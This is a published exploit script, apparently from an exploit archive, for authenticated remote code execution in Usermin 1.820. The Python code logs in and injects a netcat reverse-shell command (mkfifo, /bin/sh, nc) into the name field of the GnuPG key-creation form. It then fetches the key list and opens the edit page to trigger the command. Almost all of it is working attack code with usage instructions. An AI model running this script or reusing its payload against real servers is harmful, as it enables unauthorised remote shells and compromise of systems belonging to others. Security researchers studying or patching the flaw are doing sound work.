Usermin 1.820 - Remote Code Execution (RCE) (Authenticated)

# Title: Usermin 1.820 - Remote Code Execution (RCE) (Authenticated)
# Date: 27.08.2021
# Author: Numan Türle
# Vendor Homepage: https://www.webmin.com/usermin.html
# Software Link: https://github.com/webmin/usermin
# Version: <=1820
# https://www.youtube.com/watch?v=wiRIWFAhz24

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# Usermin - Remote Code Execution (Authenticated) ( Version 1.820 )
# author: twitter.com/numanturle
# usage: usermin.py [-h] -u HOST -l LOGIN -p PASSWORD
# https://youtu.be/wiRIWFAhz24


import argparse,requests,warnings,json,re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from cmd import Cmd

warnings.simplefilter('ignore',InsecureRequestWarning)

def init():
    parser = argparse.ArgumentParser(description='Usermin - Remote Code Execution (Authenticated) ( Version 1.820 )')
    parser.add_argument('-u','--host',help='Host', type=str, required=True)
    parser.add_argument('-l', '--login',help='Username', type=str, required=True)
    parser.add_argument('-p', '--password',help='Password', type=str, required=True)
    args = parser.parse_args()
    exploit(args)

def exploit(args):

    listen_ip = "0.0.0.0"
    listen_port = 1337

    session = requests.Session()
    target = "https://{}:20000".format(args.host)
    username = args.login
    password = args.password

    print("[+] Target {}".format(target))

    headers = {
        'Cookie': 'redirect=1; testing=1;',
        'Referer': target
    }

    login = session.post(target+"/session_login.cgi", headers=headers, verify=False, data={"user":username,"pass":password})
    login_content = str(login.content)
    search = "webmin_search.cgi"
    check_login_string = re.findall(search,login_content)
    if check_login_string:
        session_hand_login = session.cookies.get_dict()

        print("[+] Login successfully")
        print("[+] Setup GnuPG")

        payload = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f;".format(listen_ip,listen_port)
        #payload = "whoami;"
        post_data = {
            "name":'";{}echo "'.format(payload),
            "email":"[email protected]",
        }
        
        print("[+] Payload {}".format(post_data))

        session.headers.update({'referer': target})
        
        create_secret = session.post(target+"/gnupg/secret.cgi", verify=False, data=post_data)
        create_secret_content = str(create_secret.content)

        search = "successfully"
        check_exp = re.findall(search,create_secret_content)
        
        if check_exp:
            
            print("[+] Setup successful")
            print("[+] Fetching key list")
            
            session.headers.update({'referer': target})
            key_list = session.post(target+"/gnupg/list_keys.cgi", verify=False)
            last_gets_key = re.findall("edit_key.cgi\?(.*?)'",str(key_list.content))[-2]
            print("[+] Key : {}".format(last_gets_key))

            session.headers.update({'referer': target})
            try:
                key_list = session.post(target+"/gnupg/edit_key.cgi?{}".format(last_gets_key), verify=False, timeout=3)
            except requests.exceptions.ReadTimeout:
                pass

            print("[+] 5ucc355fully_3xpl017")
        else:
            print("[-] an unexpected error occurred"  )



        
    else:
        print("[-] AUTH : Login failed.")

if __name__ == "__main__":
    init()